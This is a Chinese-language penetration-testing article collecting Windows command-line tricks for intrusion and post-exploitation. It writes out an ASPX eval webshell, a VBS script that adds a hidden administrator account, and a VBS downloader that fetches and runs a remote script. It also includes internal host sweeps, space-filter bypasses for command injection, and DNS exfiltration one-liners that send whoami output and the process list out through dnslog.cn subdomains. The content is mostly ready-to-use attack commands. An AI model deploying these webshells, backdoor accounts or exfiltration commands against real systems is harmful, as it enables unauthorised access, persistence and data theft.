Windows命令行下常用滲透技巧
0x01 前言
滲透測試中無論是打點,還是后滲透,多多少少都會用到命令行下的一些技巧以達到快速拿到目標主機權限和繞過一些安全防護功能等。其實在cmd和powershell下只要靈活運用就能滿足大部分滲透需求,主要還是看你遇到什么樣的場景,需要完成什么需求,達到什么樣的效果?
當然,這里筆者也只是將以前自己常用到的,以及在看各位師傅文章中學到的技巧搜集整理在一起分享給大家,希望對大家能有所幫忙,有時間再做補充,也期待各位師傅的補充!!!如有錯誤,還望指出!!!
0x02 利用|/&管道符執行多條命令
應用場景:常用于查找遠程桌面端口號、異常網絡連接以及添加管理員用戶等。
netstat -ano | findstr "ESTABLISHED"net user 90sec 123456 /ad & net localgroup administrators 90sec /ad

0x03 利用^轉義符解決<>字符問題
應用場景:常用于寫入Webshell木馬文件時對<>、&等特殊字符的轉義,不加寫不了。
echo ^<%@Page Language="Jscript" validateRequest="false"%^>^<%Response.Write(eval(Request.Item["w"],"unsafe"));%^> > c:\Users\3had0w\Desktop\ok.aspx

0x04 利用dir/for等命令查找網站路徑
應用場景:常用于內網信息搜集查找銘感文件和內容,也可根據文件名、擴展以及內容來查找文件所在位置絕對路徑,如:1.網站路徑和數據庫連接文件、2.被黑灰產修改過的(跳轉)腳本文件等。
dir /a/b/s D:\web\*.aspwhere /r D:\web\ *.php *.aspfor /r D:\web\ %i in (*.php *.asp) do @echo %i%windir%\system32\inetsrv\appcmd list VDIR findstr /n /s /i "uid=sa" E:\ftp_bak\*.configfindstr /n /s /i "DB_PWD" D:\www\*.php


0x05 利用:冒號將VBS腳本代碼寫在一行
應用場景:常用于命令行下寫入Webshell木馬、VBS添加用戶、下載者等惡意腳本,>創建,>>疊加,注意2、4、8、9行中的&管道符,也要用^轉義下才能正常寫入。
echo set wsnetwork=CreateObject("WSCRIPT.NETWORK") > C:\adduser.vbsecho os="WinNT://"^&wsnetwork.ComputerName >> C:\adduser.vbsecho Set ob=GetObject(os) >> C:\adduser.vbsecho Set oe=GetObject(os^&"/Administrators,group") >> C:\adduser.vbsecho Set od=ob.Create("user","betasec") >> C:\adduser.vbsecho od.SetPassword "pass!@#!23" >> C:\adduser.vbsecho od.SetInfo >> C:\adduser.vbsecho Set of=GetObject(os^&"/betasec",user) >> C:\adduser.vbsecho oe.add os^&"/betasec" >> C:\adduser.vbs

0x06 利用>/>>重定向符疊加寫入VBS
應用場景:常用于MSSQL高權限注入點寫入VBS腳本文件,一行一行寫過于繁瑣。VBScript可以在一行代碼內同時對兩個變量進行賦值,中間用冒號分隔即可,腳本可正常執行。
echo Set Post = CreateObject("Msxml2.XMLHTTP"):Set Shell = CreateObject("Wscript.Shell"):Post.Open "GET","http://127.0.0.1/adduser.txt",0 :Post.Send():Set aGet = CreateObject("ADODB.Stream"):aGet.Mode = 3:aGet.Type = 1:aGet.Open():aGet.Write(Post.responseBody):aGet.SaveToFile "c:\adduser.vbs",2:wscript.sleep 1000:Shell.Run ("c:\adduser.vbs") > c:\down.vbs

0x07 利用for命令探測工作組/域存活主機
應用場景:常用于探測工作組和域內存活主機,用的是Ping命令,基于ICMP協議,但如果禁Ping時該方法則無效,利用此方法在實際應用中可能需要做少許修改:內網IP或網段。
直接在命令終端回顯:
@for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1 | findstr /i "ttl="

將存活主機寫入到文件:
@for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1 | findstr /i "ttl=" >nul & if errorlevel 1 (echo 192.168.1.%i May be sleeping ! >> result.txt) else (echo 192.168.1.%i is alive ! >> result.txt) 查看掃描后的存活主機:type result.txt | findstr "alive"

工作組/域內存活主機探測:
這個批處理文件可用于對內網工作組和域內存活主機進行簡單的掃描探測,并且支持中英文操作系統。
@echo off@echo.@FOR /F "usebackq delims=, " %%J IN (`net view /domain ^|find "命令成功完成" /v ^|find "The command completed successfully." /v ^|find "命令成功完成" /v ^|find "--" /v ^|find "Domain" /v ^|find "" /v ^|find "コマンドは正常に終了しました" /v /i`) do (@echo ====== Domain:%%J =========@FOR /F "usebackq eol=; delims=, " %%i in (`net view /domain:%%J ^|findstr "\\"`) do (@FOR /F "usebackq eol=; tokens=1,2,3* delims=\\" %%a in (`@echo %%i`) do (ping %%a -4 -n 1 -w 100 |find /i "ping" > %%a.txt@FOR /F "tokens=2 delims=[]" %%b in (%%a.txt) do @echo \\%%a = [%%b]@del /f /q %%a.txt)))@echo ====== Getting IP Complete ======

0x08 利用符號或者環境變量截取繞過空格
應用場景:常用于命令執行漏洞繞過,在代碼層面或安全防護中過濾了空格,也就是在執行命令時不能帶有空格,最近幾天在幾個群里都看到有人討論這個問題,也屬常見問題。
特殊符號:記一次“上傳”命令執行的繞過案例
echo.123>>a.txtecho,123>>a.txttype;a.txt[...SNIP...] &cd;..&cd;..&cd;windows&cd;system32&cd;..&cd;1631359215&cs.jpg&.jpg[...SNIP...]

環境變量:命令注入靶場空格過濾繞過測試
%path:~10,1%%programfiles:~10,1%%processor_identifier:~7,1%%commonprogramw6432:~10,1%%commonprogramfiles(x86):~10,1%%commonprogramfiles:~10,1%%commonprogramfiles:~10,-18%%commonprogramfiles:~23,1%%fps_browser_app_profile_string:~8,1%[...SNIP...]

0x09 利用dnslog查看注入點執行命令結果
應用場景:常用于探測目標主機的DNS協議是否能夠出網,或者是在高權限注入無回顯時也可以通過dnslog來將命令執行結果帶出,如:查看當前用戶和進程列表等。
探測DNS出網狀態:
ping ******.dnslog.cnnslookup ******.dnslog.cnphp gethostbyname("******.dnslog.cn");?>

查詢當前用戶權限:
for /F %i in ('whoami') do nslookup %i.lr5dyr.dnslog.cn
cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.ly9hvm.dnslog.cn && nslookup !FINAL!" && del temp*

0x10 利用dnslog查看目標主機的殺毒軟件
應用場景:用于MSSQL高權限注入,目標主機不出網,但想利用dnslog探測主機中是否有殺軟?兩種方法原理一樣,都是先獲取進程列表,然后for、ForEach循環Ping、nslookup通過dnslog帶出來。
for /F %i in ('wmic process get Name ^| findstr ".exe"') do ping -n 1 %i.******.dnslog.cn >nul
powershell -c "Get-Process | select processname > 1.txt"powershell -c "Get-Content .\1.txt | Sort-Object -Unique | ForEach-Object {if($_ -match $regex){$b=$_.trim();ping -n 1 $b'.***fks2j.ns.dns3.cf.'} }"
